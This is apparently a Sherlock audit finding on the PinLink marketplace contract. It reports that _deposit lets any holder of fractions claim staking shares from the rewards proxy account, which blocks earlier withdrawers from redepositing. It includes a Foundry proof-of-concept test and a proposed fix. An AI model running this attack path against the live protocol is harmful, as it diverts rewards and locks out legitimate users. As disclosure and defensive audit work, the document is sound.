Savory Mocha Coyote

High

# Proxy Account Balance Depletion Leads to Denial of Service for Legitimate Depositors

### Summary

A critical design flaw in the deposit mechanism will cause legitimate users to be unable to redeposit their withdrawn assets as attackers can deplete the proxy account's balance, effectively preventing rightful users from participating in the protocol and unfairly distributing rewards.

### Root Cause

In [pinklinkShop::_deposit](https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/main/marketplace-contracts/src/marketplaces/pinlinkShop.sol#L522C5-L532C6) , shares  are being transferred from proxy to the depositor without verifying that the depositor previously withdrew those shares. This allows any user with assets to deposit them and claim shares from the proxy account's balance.


```solidity
function _deposit(address fractionalAssets, uint256 tokenId, uint256 amount) internal {
        // it is only possible to deposit in already enabled assets in the ecosystem
        if (!streams[fractionalAssets][tokenId].isEnabled()) revert AssetNotEnabled();

        // When assets are withdrawn, the rewards are directed to the feeReceiver.
        // When they are deposited back, they are redirected to the staker who deposits

@>   streams[fractionalAssets][tokenId].transferBalances(REWARDS_PROXY_ACCOUNT, msg.sender, amount);

        emit FractionsDeposited(fractionalAssets, tokenId, amount, msg.sender);
        IFractionalAssets(fractionalAssets).safeTransferFrom(msg.sender, address(this), tokenId, amount, "");
    }

```

`transferBalances` are defined as below in [streams.sol](https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/main/marketplace-contracts/src/marketplaces/streams.sol#L74C5-L79C6)
```solidity
function transferBalances(RewardsStream storage self, address from, address to, uint256 amount) internal {
        self.updateRewards(from);
        self.updateRewards(to);
        self.stakedBalances[from] -= amount;
        self.stakedBalances[to] += amount;
    }
```





### Internal Pre-conditions

1. The REWARDS_PROXY_ACCOUNT needs to have a non-zero balance of shares for a specific tokenId (which happens when any user withdraws assets)
2. A user needs to possess fractions of that tokenId (can be acquired directly, not necessarily through the PinlinkShop)

### External Pre-conditions

None

### Attack Path

- Legitimate User A withdraws their assets from PinlinkShop, transferring their staking balance to the REWARDS_PROXY_ACCOUNT
- Attacker B acquires fractions of the same asset directly (outside PinlinkShop)
- Attacker B calls depositAsset() with their fractions
- The system transfers staking balance from REWARDS_PROXY_ACCOUNT to Attacker B
- Legitimate User A attempts to redeposit their assets but the transaction fails because REWARDS_PROXY_ACCOUNT's balance has been 
 depleted

### Impact

Legitimate users who withdraw assets cannot redeposit them if the proxy account's balance for that asset has been depleted. This creates an unfair advantage for malicious users who can essentially "steal" rewards distribution from the system without having ever withdrawn assets, and prevents legitimate users from participating in the protocol as expected. The protocol's core functionality of allowing users to freely withdraw and redeposit assets is broken.

### PoC

```solidity
function test_depositRaceCondition() public {
    // Setup
    vm.startPrank(admin);
    pshop.enableAsset(address(fractions), asset1, admin);
    bytes32 listingId = pshop.list(address(fractions), asset1, 100, 1000e18, block.timestamp + 5 days);
    vm.stopPrank();
    
    // First, Alice purchases 50 tokens
    deal(address(PIN), alice, 100_000e18);
    vm.prank(alice);
    PIN.approve(address(pshop), type(uint256).max);
    _doPurchase(listingId, 50, alice);
    
    // Alice withdraws her 50 tokens
    vm.startPrank(alice);
    pshop.withdrawAsset(address(fractions), asset1, 50, alice);
    fractions.setApprovalForAll(address(pshop), true);
    vm.stopPrank();
    
    // At this point, proxy should have 50 tokens
    address proxyAccount = pshop.REWARDS_PROXY_ACCOUNT();
    assertEq(_stakedBalance(address(fractions), asset1, proxyAccount), 50);
    
    // Bob gets some tokens directly (represents a new user)
    vm.prank(admin);
    fractions.safeTransferFrom(admin, bob, asset1, 40, "");
    
    // Bob tries to deposit tokens even though he never withdrew them
    vm.startPrank(bob);
    fractions.setApprovalForAll(address(pshop), true);
    pshop.depositAsset(address(fractions), asset1, 40);
    vm.stopPrank();
    
    // Bob's deposit succeeds, stealing from proxy's balance
    assertEq(_stakedBalance(address(fractions), asset1, proxyAccount), 10);
    assertEq(_stakedBalance(address(fractions), asset1, bob), 40);
    
    // Now Alice tries to redeposit her tokens
    vm.prank(alice);
    // This will fail if Alice tries to deposit more than 10 tokens
    vm.expectRevert(); // This should revert with underflow
    pshop.depositAsset(address(fractions), asset1, 20);
}
```

### Mitigation

The system should track which users have withdrawn assets and only allow them to redeposit up to the amount they withdrew. This could be implemented by:

- Adding a mapping to track withdrawn balances per user:
```solidity
mapping(address fractionalAssets => mapping(uint256 tokenId => mapping(address user => uint256 amount))) internal _withdrawnBalances;
```
- Updating the withdrawal function to record withdrawn amounts:
```solidity
function withdrawAsset(address fractionalAssets, uint256 tokenId, uint256 amount, address receiver) external {
    // existing code...
    _withdrawnBalances[fractionalAssets][tokenId][msg.sender] += amount;
    // rest of existing code...
}
```
- Modifying the deposit function to verify and limit deposits:
```solidity
function _deposit(address fractionalAssets, uint256 tokenId, uint256 amount) internal {
    // ...existing validation...
    
    uint256 withdrawnAmount = _withdrawnBalances[fractionalAssets][tokenId][msg.sender];
    if (withdrawnAmount < amount) revert InsufficientWithdrawnBalance();
    
    _withdrawnBalances[fractionalAssets][tokenId][msg.sender] -= amount;
    streams[fractionalAssets][tokenId].transferBalances(REWARDS_PROXY_ACCOUNT, msg.sender, amount);
    
    // ...rest of function...
}
```
This ensures that users can only redeposit assets they previously withdrew, maintaining fairness in the system

